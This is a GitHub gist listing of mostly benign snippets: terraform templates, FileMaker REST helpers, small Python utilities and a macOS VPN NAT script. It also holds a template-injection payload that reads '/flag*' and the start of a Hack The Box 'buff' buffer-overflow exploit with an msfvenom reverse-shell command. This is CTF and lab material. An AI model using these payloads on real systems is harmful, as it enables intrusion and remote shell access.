Skip to content

Instantly share code, notes, and snippets.

View davidhamann's full-sized avatar

David Hamann davidhamann

View GitHub Profile
<!DOCTYPE html>
<html>
<body>
{{.FetchServerInfo "cat /flag*"}}
</body>
</html>
@davidhamann
davidhamann / !nginx_slash_traversal
Last active August 14, 2022 20:49
Demo files for nginx alias traversal
.
@davidhamann
davidhamann / htb_buff_exploit.py
Created November 21, 2020 19:15
Exploit for the hack the box "buff" machine
import socket
HOST, PORT = '127.0.0.1', 8888
def build(size, offset):
junk = b'A' * offset
eip = b'\xe1\x52\xd6\x68' # 0x68d652e1
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b '\x00' -f py
@davidhamann
davidhamann / main.tf
Created May 30, 2020 23:56
From my dotfmp talk: terraform simple starter template for "FMS For Linux (Preview – not for production)" on AWS; setup done only via remote-exec
variable "provider_profile" { type = string }
variable "provider_region" { type = string }
variable "instance_type" { type = string }
variable "ssh_source_ips" { type = list(string) }
variable "ami_id" { type = string }
variable "key" { type = tuple([string, string]) }
variable "dns_name" { type = string }
variable "zone_id" { type = string }
@davidhamann
davidhamann / main.tf
Last active June 8, 2020 13:30
Sample terraform config for blog post
variable "region" { type = string }
variable "ssh_source_ips" { type = list(string) } # list of CIDR blocks
variable "ami_owner_id" { type = string }
variable "key" { type = tuple([string, string]) } # key_name and path to local private key
provider "aws" {
profile = "terraform"
region = var.region
}
@davidhamann
davidhamann / handle_fms_error.py
Created June 25, 2018 08:44
How to handle FMS errors in python-fmrest.
import fmrest
from fmrest.exceptions import FileMakerError
fms = fmrest.Server('https://<some host>',
user='admin',
password='admin',
database='Planets',
layout='Planets',
)
@davidhamann
davidhamann / captcha_solver.py
Created December 5, 2017 15:11
just for fun captcha solver for code challenge
def solve_captcha(sequence):
return sum(
int(num) for i, num in enumerate(sequence) if num == sequence[(i+1) % len(sequence)]
)
assert solve_captcha('1122') == 3
assert solve_captcha('1111') == 4
assert solve_captcha('1234') == 0
assert solve_captcha('91212129') == 9
@davidhamann
davidhamann / switch_vscode_theme.py
Last active May 20, 2019 17:54
Quick and dirty way to switch vscode theme between light and dark. Put it into crontab for auto switch day/night.
#!/usr/bin/env python
import json
path = '/Users/your_user/Library/Application Support/Code/User/settings.json'
theme_day = 'Default Light+'
theme_night = 'Default Dark+'
with open(path, 'r') as settings_file:
data = json.load(settings_file)
data['workbench.colorTheme'] = theme_day if data['workbench.colorTheme'] == theme_night else theme_night
@davidhamann
davidhamann / natvpn.sh
Last active April 13, 2017 20:48
Forward VPN traffic on macOS >=10.11; Create nat-rules load file first. Then, from other Mac, set gateway address to the Mac with the VPN running. Et voilà!
#!/bin/sh
sysctl -w net.inet.ip.forwarding=1
sysctl -w net.inet.ip.fw.enable=1
pfctl -f ./nat-rules -e
# nat-rules could look like this:
# nat on utun0 from en0:network to any -> (utun0)
<keys name="Schedules">
<keys name="1">
<key name="Index" type="integer">1</key>
<key name="Name" type="string">backup_daily_1am</key>
<key name="LastRun" type="string">2015-11-27 01:00:00</key>
<key name="NextRun" type="string">2015-11-28 01:00:00</key>
<key name="CreationDate" type="string">2015-05-22 15:06:00</key>
<key name="StartDate" type="string">2015-05-22 01:00:00</key>
<key name="EndDate" type="string">15:06:00</key>
<key name="EnableEndDate" type="integer">0</key>